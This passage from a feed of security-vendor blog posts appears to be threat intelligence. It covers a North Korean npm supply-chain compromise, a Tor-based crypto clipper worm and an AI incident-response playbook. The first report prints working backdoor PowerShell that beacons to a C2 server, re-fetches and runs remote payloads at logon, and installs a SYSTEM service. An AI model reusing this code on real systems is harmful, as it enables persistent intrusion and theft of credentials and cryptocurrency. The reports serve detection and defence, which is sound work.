$info_pkt = @{     type        = "info"     targetId    = $uid     currentTime = [int64][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()     data = @{ username=$username; hostname=$hostname; timezone=$timezone;              bootTime=$bootTime; os="windows"; version=$version; arch=$arch;              applist=[string[]]$applist; extlist=[string[]]$extlist;              admin=$admin; vaccine=[string[]]$vaccine } }

All network communication uses a spoofed legacy IE8 User-Agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)) and HTTP POST with URL-encoded or JSON bodies. The script enters an infinite polling loop, beaconing every 10 seconds and backing off to 180-second intervals on network failure.

Step 3.F: Persistence and remote code execution. The backdoor establishes a separate persistence mechanism independent of the Node.js implant’s NvmProtocal Run key. It writes a hidden batch file to C:\ProgramData\system.bat and registers it under a deceptive Run key value named MicrosoftUpdate:

$batFile = Join-Path $env:PROGRAMDATA "system.bat" $batCont = 'start /min powershell -w h -c "& ([scriptblock]::Create(' +            '[System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing ' +            "-Uri '$url' -Method POST -Body 'wwps').Content))) '$url'" Set-Content -Path $batFile -Value $batCont -Encoding ASCII Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MicrosoftUpdate" -Value $batFile

This persistence loader re-fetches the backdoor body from the C2 on every logon by POSTing the keyword wwps, enabling the attacker to silently rotate the live payload without touching the endpoint. When the C2 responds with a script command, the backdoor decodes a Base64-encoded PowerShell payload, writes it to a temporary file (%TEMP%\{guid}.ps1), and executes it with -ExecutionPolicy Bypass in a hidden window:

$scpt = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Command.scriptfile)) $tempFile = Join-Path $env:TEMP ("{0}.ps1" -f ([Guid]::NewGuid().ToString("N"))) Set-Content -Path $tempFile -Value $scpt -Encoding UTF8 -Force $cln = @("-NoProfile","-ExecutionPolicy","Bypass","-File",$tempFile) + $uid + $url Start-Process powershell.exe -WindowStyle Hidden -ArgumentList $cln

Step 3.G: Defense evasion and service-level persistence. After establishing interactive access, the operator escalates by adding a Microsoft Defender exclusion for C:\Windows\System32 to suppress detection of dropped tooling, then installs a persistent service that loads a malicious DLL at boot:

sc create scdev binPath= "c:\windows\system32\svchost.exe -k scdev" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\scdev\Parameters /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f

The scdev service runs as a shared svchost.exe process under the SYSTEM context with automatic startup, providing Sapphire Sleet with boot-persistent, elevated access independent of user logon. This represents the final escalation stage—from a supply chain package compromise through automated credential theft to full interactive control with SYSTEM-level persistence.

Timeline analysis

Every package published by the ehindero account contained easy-day-js as an injected dependency. Packages last published by GitHub Actions CI/CD or other legitimate maintainers were not affected.

Attack timeline

** Microsoft Threat Intelligence monitoring observed easy-day-js@1.11.22 at 01:07 UTC and mastra@1.13.1 at 01:28 UTC on June 17, 2026

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Review dependency trees for direct or transitive usage of affected @mastra packages at the compromised versions listed above.
• Check for the presence of easy-day-js in node_modules/ or package-lock.json files across your projects and CI/CD environments.
• Pin known-good package versions where possible. For mastra, version 1.13.0 and earlier are unaffected. For @mastra/core, version 1.42.0 and earlier are unaffected.
• Run npm install with –ignore-scripts to prevent automatic execution of postinstall hooks during dependency installation.
• Check systems for indicators of compromise (IOC) artifacts: Look for $TMPDIR/.pkg_history, $TMPDIR/.pkg_logs, and unexpected .js files in the user’s home or temp directories.
• Rotate any credentials, tokens, or API keys that may have been present on systems where the compromised packages were installed.
• Block the C2 IP addresses 23.254.164[.]92 and 23.254.164[.]123 at the network perimeter.
• Audit CI/CD logs for unexpected outbound connections to the C2 IP addresses or suspicious postinstall script execution.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Advanced hunting

The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply chain compromise.

Detect postinstall execution of setup.cjs

DeviceProcessEvents 
 | where Timestamp > ago(7d) 
 | where FileName in ("node", "node.exe") 
 | where ProcessCommandLine has "setup.cjs" 
     or ProcessCommandLine has "easy-day-js" 
|  where ProcessCommandLine has “--no-warnings” 
 | project Timestamp, DeviceName, AccountName, 
     ProcessCommandLine, FolderPath, InitiatingProcessFileName 
 | sort by Timestamp desc 

Outbound connections to C2 infrastructure

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("23.254.164.92", "23.254.164.123")
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Indicators of compromise (IOC)

Network indicators

File indicators

Host indicators

Package indicators

References

Security: mastra@1.13.1 is compromised — malicious postinstall payload via `easy-day-js` dependency · Issue #18046 · mastra-ai/mastra

Microsoft has identified a supply chain attack on the Mastra-AI npm ecosystem, with 80+ packages compromised through npm account takeover. The attacker introduced a phantom dependency into the… | Microsoft Threat Intelligence

This research is provided by Microsoft Defender Security Research, Suriyaraj Natarajan, Sagar Patil, Rajesh Kumar Natarajan, Mahesh Mandava, Arvind Gowda, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence and Microsoft Defender Experts identified a Windows-based cryptocurrency clipper that has affected users since February of 2026. Clipper malware relies on stealing clipboard data and parsing it for valuable assets.

The clipper in this campaign relies on Windows Script Host and ActiveX-driven logic to launch a bundled Tor proxy and poll a hidden-service C2 server. It carries out high-frequency clipboard theft, screenshot exfiltration, and wallet-address substitution.

The execution of this clipper is notable because it does not depend on a traditional installer or exposed IP-based C2 infrastructure. Instead, it deploys a portable Tor client, routes traffic through a local SOCKS5 proxy, and blends data theft with remote code execution, turning a financially motivated stealer into a lightweight backdoor.

For defenders, the strongest signals are behavioral: script interpreters spawning suspicious child processes, localhost:9050 proxy usage, screen-capture commands in PowerShell, and signs of clipboard inspection or crypto-address replacement.

Microsoft Defender for Endpoint detects multiple components of this threat such as Suspicious JavaScript process and Possible data exfiltration using Curl. Additionally, Microsoft Defender Antivirus detects this crypto clipper as Trojan: Win32/CryptoBandits.A.

Attack chain overview

Since February 2026, malicious shortcut (.lnk) payloads have infected devices with a cryptocurrency clipper. This malware comprises two components that it deploys on the compromised system: a worm component that ensures propagation and a clipper/stealer component that harvests and exfiltrates cryptocurrency wallet information.  

The worm functionality ensures propagation by creating additional malicious shortcuts of legitimate files it identifies on the device. It also delivers file-based payloads and excludes them from Defender scanning. It deploys scheduled tasks for execution and persistence for both the worm component and the stealer component.  Figure 1 presents a high-level execution flow of the two components.

The clipper runs as a script-based payload that interacts with the operating system through WScript and ActiveXObject. It includes an anti-analysis check that queries running processes and exits if Task Manager is detected. If the environment passes this gate, the malware launches a renamed Tor binary named ugate.exe in a hidden window, waits about 60 seconds for Tor to bootstrap, generates a victim GUID, and registers the infected device with a hidden-service C2.

After registration, the malware enters a continuous loop. It polls the C2 for instructions and monitors the clipboard roughly every 500 milliseconds, extracting seed phrases and private keys that match wallet-related patterns. It also hijacks cryptocurrency addresses by replacing copied wallet values with attacker-controlled alternatives and uploads screenshots through Tor. If the C2 returns an EVAL response, the malware executes attacker-supplied code at runtime.

Behaviors and methodologies

Initial access

Initial access occurs from malicious .lnk files. In instances we analyzed, these .lnk shortcuts were distributed on USB storage devices. The .lnk shortcut stages a worm component in the form of an executable. The malicious script checks for an existing malicious payload and stops if the device is already infected. If the payload is not present, the malware fetches the payload from the C2 through Tor. The Figure below illustrates the functions that stage and decrypt the initial payload.

The .lnk payload scans the USB device for common document files like .doc, .xlsx, .pdf, hides the original files, and creates additional .lnk shortcut files with the same file names. The shortcut files are crafted with arguments to link to the worm payload. The end user is not aware that they are launching an executable when opening the .lnk files.

Execution

Once a user clicks on one of the shortcuts, the staged worm payload runs. It excludes staging folders and Windows binaries used in the execution of the stealer component. The malware then drops decrypted payloads, including two malicious JavaScript files, into the subfolder under the “C:\Users\Public\Documents” folder.

A five-character naming convention is used both for the subfolder and the scripts’ names.

The figure below illustrates an instance with files dropped under a ” C:\Users\Public\Documents\omoho” folder path:

The worm component also establishes persistence by creating two indefinite scheduled tasks: one responsible for spreading itself to a freshly inserted uncompromised USB storage device, and another for the stealer activity.

Defense evasion

The malware employs multi-layered obfuscation, with all components encrypted and only decrypted at runtime. Installation is handled by a Python script that is itself obfuscated using PyArmor and packaged into a standalone executable via PyInstaller. In addition, the two JavaScript payloads are each protected with dual-layer obfuscation, further increasing analysis complexity. This design significantly reduces static visibility while maintaining flexible runtime behavior.

The sample also incorporates a basic anti-analysis check by querying the Win32_Process WMI class and terminating execution if Task Manager is detected. Although simplistic, this mechanism can hinder manual inspection and slow initial triage efforts.

The bundled Tor client is central to the operation. By routing communication over localhost:9050 and resolving “.onion” destination domains inside Tor, the malware reduces DNS visibility, obscures the final C2 destination, and complicates destination-based blocking. This design gives the operator anonymity benefits while keeping the malware compact and self-contained.

Command and control

The command and control over a Tor-routed domain routes network traffic through local IP address 127.0.0.1 on port 9050. The tunneled domain appears in the initiating process command line. The C2 domains use the following endpoints and actions across different execution stages.

• C2 Domain: <domain>.onion
• Endpoints:
  • /route.php : Beacon and command retrieval
  • /recvf.php : File upload (screenshots)
  • /stub.php: Payload download
• Communication:
  • Protocol: HTTP over Tor (SOCKS5 proxy at localhost:9050)
  • Method: curl with POST requests
  • Authentication: GUID + GEIP (geolocation)
• Actions Sent to C2:
  • GUID : Heartbeat beacon
  • SEED : Exfiltrated seed phrase
  • PKEY : Exfiltrated private key
  • REPL : Address replacement notification
  • GOOD : (legacy/fallback action)
• Commands from C2:
  • GUID : Acknowledge/refresh victim GUID
  • EVAL : Execute arbitrary JScript code (remote code execution)

A file named “cfile” is created on the infected system as an output for payload hosted on the C2 domain.

The malware sample we analyzed also provided a function called checkC2Command. The function has an EVAL method, which would allow any payload placed in the cfile to be executed on the victim’s system.

Collection

Seed

Clipboard theft focuses on high-value financial artifacts. The malware detects 12 or 24-word BIP39 seed phrases in clipboard data. It saves the seed to local file (GOOD path) as a backup and exfiltrates it to the C2 domain via Tor. It retries network transmission until it is acknowledged and deletes local backup after successful transmission. It also takes five screenshots (ten seconds apart) and uploads them asynchronously. The screenshots help the threat actor gain additional context on the end user’s wallet and balances.

Private Key extraction

The crypto clipper also detects cryptocurrency keys for both Ethereum and Bitcoin WIF. Once the captured keys are saved and exfiltrated, the malware captures screenshots of the user’s screen for a full context. The captured values are validated against a word list.

Address replacement

The stealer also probes for cryptocurrency addresses and replaces them with attacker’s addresses. The malware checks that the address has alphanumeric values.

• For a Bitcoin legacy address which starts with “1” and has a length of 32-36 values, the address is replaced with an address that matches the first two characters.

• For a Bitcoin P2SH address which starts with a “3” and has a length of 32-36 values, the stealer replaces the address with one matching the original address on the first two characters.

• For a Bitcoin taproot address which starts with “bc1p” and has a length of 40-64 characters, the stealer replaces it with one matching the last character.

• For a Bitcoin Bech32 address which starts with “bc1q” and has a length of 40-64 characters, the stealer replaces only the last character.

• For a Tron address which starts with “T” and has exactly 34 characters, the stealer replaces the address with one that matches the first two characters.
• For a Monero address which starts with a “4” or a “8” and has exactly 95 characters, the stealer replaces the address with a single address.

The following shows an example of address replacement:

This malware family shows how lightweight, script-based stealers can deliver outsized impact when paired with anonymized communications and runtime tasking. The combination of Tor-routed C2, clipboard targeting, screenshot capture, and remote code execution gives attackers both immediate monetization paths and continued control over compromised devices.

Organizations should focus on hardening script execution paths, monitoring local SOCKS proxy abuse, and using behavioral hunting to connect script activity with network, clipboard, and process signals. That combination offers the best chance of surfacing this class of threat before financial loss or broader follow-on activity occurs.

Mitigation and protection guidance

Defenders should prioritize behavioral detections over static signatures. Investigate systems where WScript, CScript, or related script engines launch curl, cmd.exe, PowerShell, or unexpected executables. localhost:9050 network activity, especially when coupled with suspicious scripting behavior, is also valuable context for triage.

Where operationally feasible, reduce abuse of script-based interpreters and review Attack Surface Reduction rules that block obfuscated scripts and suspicious child-process chains. Review detections for PowerShell-based screen capture and examine devices for indicators of clipboard inspection or wallet-address replacement.

Recommended actions

• Disable AutoRun/AutoPlay for all removable media
• Block .lnk execution from removable drives via GPO
• Restrict unnecessary use of wscript.exe, cscript.exe, and similar script hosts where possible.
• Review and enable relevant Attack Surface Reduction rules, especially those focused on obfuscated script execution and suspicious child-process behavior.
• Investigate script-to-network chains involving curl, PowerShell, or cmd.exe.
• Hunt for local SOCKS5 proxy activity on localhost:9050.
• Review clipboard-related and screen-capture behaviors on devices handling sensitive financial workflows.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot  

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Microsoft Defender customers can run the following queries to find related activity in their networks:

Execution launched from scheduled tasks

DeviceProcessEvents
| where FileName =="schtasks.exe"
| where ProcessCommandLine matches regex
@"(?i)schtasks\s+/create\s+/tn\s+[a-z]{4,6}\s+/xml\s+C:\\Users\\Public\\Documents\\[a-z]{4,6}\\[a-z]{4,6}\.xml\s+/f"

Local Tor proxy activity (localhost:9050)

DeviceNetworkEvents
| where ActionType =="ConnectionSuccess"
| where InitiatingProcessCommandLine has_all ("curl","socks5-hostname",".onion")

Tor-routed curl execution

DeviceProcessEvents
| where FileName =~ "curl.exe"
| where ProcessCommandLine has_all ("--socks5-hostname", "localhost:9050")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine

MITRE ATT&CK Techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Initial Access

• T1091 Replication Through Removable Media

Execution

• T1059 Command and Scripting Interpreter | EVAL-driven remote code execution from server tasking

Discovery

• T1057 Process Discovery | Task Manager check used as an anti-analysis gate

Persistence

• T1053.005 Scheduled Task/Job | Scheduled Task

Defense evasion

• T1027 | Shuffled strings and decoder functions conceal commands and APIs

Collection

• T1115 Clipboard Data | Clipboard theft targets seed phrases, keys, and wallet addresses
• T1113 Screen Capture | PowerShell screenshot capture supports operational visibility

Command and Control

• T1090 Proxy | Traffic routed through Tor via local SOCKS5 proxying

Exfiltration

• T1048.002 Exfiltration Over Alternative Protocol

Indicators of compromise (IOC)

References 

• http://approjects.co.za/?big=en-us/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/#clipping-and-switching. Microsoft (published 2022-05-17)
• https://gbhackers.com/ssh-over-tor-tunnel/. Ghbhackers(published 2026-04-28)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Crypto Clipper uses Tor and worm-like propagation for persistence and control appeared first on Microsoft Security Blog.

Security teams are already investigating activity involving Microsoft 365 Copilot and Azure AI services—from prompt injection attempts to unexpected data access. Those signals are observable. Without structure, they do not form a coherent account of what occurred. 

AI interactions generate telemetry across Microsoft Purview, Defender, and Sentinel. That telemetry captures who initiated an interaction, when it occurred, and which resources were involved. It provides the foundation for reconstructing AI activity in enterprise environments.  It’s turning those signals into an investigation. 

To help address that challenge, we’ve published a new investigator playbook for Microsoft 365 Copilot and Azure AI services. The playbook provides a structured approach for investigating AI-related activity using the telemetry already available across Microsoft security products. 

The methodology follows a scope–context–signal sequence. Investigations begin by identifying who interacted with AI systems, when the activity occurred, and which services were involved. From there, investigators expand into resource context: what the system accessed, what data may have been exposed, and how that activity aligns with expected behavior. Detection signals, including prompt injection attempts, anomalous usage patterns, or credential exposure alerts, are then evaluated within that broader chain of activity. 

AI telemetry is constructed metadata-first, providing identity, time, and resource context across interactions. That structure is what moves investigations from isolated signals to a coherent account of what occurred. When analyzed together, those elements allow investigators to establish what happened, understand the impact, and determine whether activity reflects normal usage, policy violations, or indicators of compromise. 

The playbook operationalizes this approach across Microsoft 365 Copilot and Azure AI services. It brings together the required configuration, queries, and detection patterns into a single working model — covering schema references, KQL queries, and detection logic — enabling investigators to follow AI activity across tools with fewer ad hoc pivots. It also extends that model to agent-based systems, where the investigative picture expands: which agents are deployed, how they are configured, what data they are authorized to access, and whether that authorization was used as expected. 

The outcome is practical. Response teams can move from isolated signals to a reconstructed account of observed activity: scoping AI usage, understanding what data was accessed during interactions, and assessing whether observed behavior is consistent with normal usage, policy violations, or indicators of active threat conditions across Microsoft security services.  

As AI becomes part of everyday business workflows, response teams need the same investigative rigor they apply to endpoints, identities, and cloud infrastructure. The ability to determine what happened, what data was involved, and whether activity was authorized is quickly becoming a core incident response capability. 

The playbook gives you the tools to answer it. Download it here: https://aka.ms/AIIRplaybook 

The post Reconstructing AI activity in investigations  appeared first on Microsoft Security Blog.